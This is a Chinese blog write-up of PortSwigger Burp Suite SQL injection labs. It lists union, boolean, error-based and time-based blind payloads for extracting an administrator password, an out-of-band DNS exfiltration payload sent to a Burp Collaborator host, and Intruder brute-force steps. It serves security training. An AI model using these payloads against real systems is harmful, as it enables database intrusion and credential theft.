burpsuite靶场SQL注入总结

各类数据库版本命令参照:
https://portswigger.net/web-security/sql-injection/cheat-sheet
burp靶场:https://portswigger.net/web-security/all-labs


注入技巧篇

数字型注入

' union select 1,2,3

字符型注入

' union select NULL,NULL,NULL--

注入点只有一个,但也能同时查两个数据

' union select null,username||'~'||password from users--

注入技巧(布尔注入非oracle)
某个注入点,发现如下语句返回正确结果:

' and '1'='1

判断是否存在user表

'+and+(select 'a' from users limit 1)='a;

判断user表中是否存在username、password

'+and+(select 'a' from users where username='administrator' and length(password)>1)='a;

继续注入,稍微改写一下,然后将a值放入burpsuite中的intruder爆破即可(文章末尾补充了burp爆破方法):

'+and+(select substring(password,1,1) from users where username='administrator')='$a$;

注意,只有oracle的substr不一样
Oracle SUBSTR(‘foobar’, 4, 2)
Microsoft SUBSTRING(‘foobar’, 4, 2)
PostgreSQL SUBSTRING(‘foobar’, 4, 2)
MySQL SUBSTRING(‘foobar’, 4, 2)

注入技巧(双单引号oracle数据库)

某个注入点,输入一个单引号’报错,两个单引号’'返回正确结果
那么注入则可以这么写:

' || (select '') || '

如果是oracle数据库,则

' || (select '' from dual) || '

继续判断oracle数据是否存在users表(其中rownum类似于limit)

' || (select '' from users where rownum=1) ||'

判断columns

' || (select username from users where rownum=1) ||'
' || (select password from users where rownum=1) ||'

构造如下布尔注入(其中to_char写法会报错,以此来实现判断)

'+||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator'+and+length(password)<1)||'

接下来就是burp跑字典,方法已经放到文章最后

'+||+(select+case+when+(1=1)+then+to_char(1/0)+else+''+end+from+users+where+username='administrator'+and+substr(password,$A$,1)='$a$')||'

注入技巧(盲注)
某个注入点输入任何测试字符(如单引号,两个单引号,and 1=1)都返回正确结果,不妨试下如下语句

' || (select sleep(3))-- # MySQL
' || (select pg_sleep(3))-- # PostgreSQL

盲注判断一波password的长度,burpsuite再来爆破一波

'||(select case when (username='administrator' and length(password)<$1$) then pg_sleep(3) else pg_sleep(0) end from users)--

盲注爆破password(文章末尾补充了盲注爆破方法)

'||(select case when (username='administrator' and substring(password,$A$,1)='$B$') then pg_sleep(3) else pg_sleep(0) end from users)--

注入技巧(无回显、无盲注)
采用DNS Lookup注入,例如oracle的数据库注入验证方式
(更多请查看https://portswigger.net/web-security/sql-injection/cheat-sheet

' ||(SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual)--

burpsuite自带一个DNS lookup功能()
在这里插入图片描述
回显的这部分就是密码
在这里插入图片描述

各类数据库查version

oracle数据库查询version

'+union+select+user,banner+from+v$version--

Microsoft&MySQL查询version

SELECT @@version

更多请查看:
https://portswigger.net/web-security/sql-injection/cheat-sheet

oracle数据库默认表

oracle 数据库不能通过select null,null这种方式,必须确定from,通过百度搜索oracle database statement可知,DUAL表示默认的表

'+union+select+'a','b'+from+DUAL--

oracle查询自带库,类似于mysql中的information_schema

' union select table_name,null from all_tables--

oracle利用all_tab_columns查询字段

' union select columns_name from all_tab_columns where table_name='USERS_PRTMSH'

利用all_tab_columns查询出的字段进行查询

' union select USERNAME_GTGIHR||'~'||PASSWORD_SGMAIO,null from USERS_PRTMSH--

MySQL数据库

information_schema

利用information_schema表查询表

' union select table_name,null from information.tables--

通过information_schema表查询出来的表来继续查询column

' union select column_name,null from information_schema.columns where table_name= users_dababase--

burpsuite爆破-布尔型

这里补充一下burp爆破的技巧,上面提到的布尔注入需要爆破两个点,
结构类似于:

for B in range(20):
	for A in range(30)

这种结构爆破可以选择Cluster bomb
在这里插入图片描述
并且给A点设置如下payload
在这里插入图片描述
给B点设置如下payload
在这里插入图片描述
爆破中…
在这里插入图片描述

burpsuite爆破-时间型

1.这里的语句如下

'||(select case when (username='administrator' and substring(password,§A§,1)='§B§') then pg_sleep(3) else pg_sleep(0) end from users)--

2.设置一下Cluster bomb,并设置两个爆破参数
在这里插入图片描述
3.payload中第一个参数为1-20的数字,所以设置如下:
在这里插入图片描述
4.第二个参数需要在数字与字母之间进行爆破,所以选择brute forcer:
在这里插入图片描述
5.这一点与其他注入不同,时间盲注需要将线程设置为1(否则会让时间延迟判断有误差)
在这里插入图片描述
在这里插入图片描述
6.运行即可,设置显示延时回显Response received(因为是单线程,这里等待的时间很长)
在这里插入图片描述
7.找出高延时的即可
在这里插入图片描述

  • 1
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Burp Suite是一款常用的Web应用程序安全测试工具,其中的Fuzzing功能可以用于检测和利用SQL注入漏洞。SQL注入是一种常见的Web应用程序漏洞,攻击者可以通过构造恶意的SQL查询语句来绕过应用程序的身份验证和访问控制,甚至获取敏感数据。 在Burp Suite中使用Fuzzing功能进行SQL注入测试的步骤如下: 1. 配置目标:在Burp Suite中,选择要测试的目标应用程序,并配置代理设置,确保所有的流量都经过Burp Suite进行拦截和修改。 2. 构造注入点:在目标应用程序中找到可能存在SQL注入漏洞的参数或输入字段,并将其标记为注入点。可以使用Burp Suite的Intruder工具来自动识别和标记注入点。 3. 准备Payloads:准备一组恶意的SQL注入Payloads,这些Payloads将被插入到注入点中进行测试。Payloads可以包括常见的SQL注入语句、特殊字符、SQL函数等。 4. 配置Fuzzing:在Burp Suite的Intruder工具中,选择要进行Fuzzing的请求,并将注入点设置为Payload位置。将准备好的Payloads加载到Intruder中,并配置其他相关选项,如并发请求数、超时时间等。 5. 启动Fuzzing:启动Fuzzing过程,Burp Suite将自动发送带有不同Payloads的请求,并记录每个请求的响应。可以通过查看响应中的错误信息、时间延迟等来判断是否存在SQL注入漏洞。 6. 分析结果:根据Fuzzing的结果,分析每个请求的响应,查找异常或错误的迹象。如果发现响应中包含SQL错误信息、应用程序行为异常等,可能存在SQL注入漏洞。 需要注意的是,在进行SQL注入测试时,应该遵循合法和道德的原则,仅在授权范围内进行测试,并避免对生产环境造成任何损害。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

向阳-Y.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值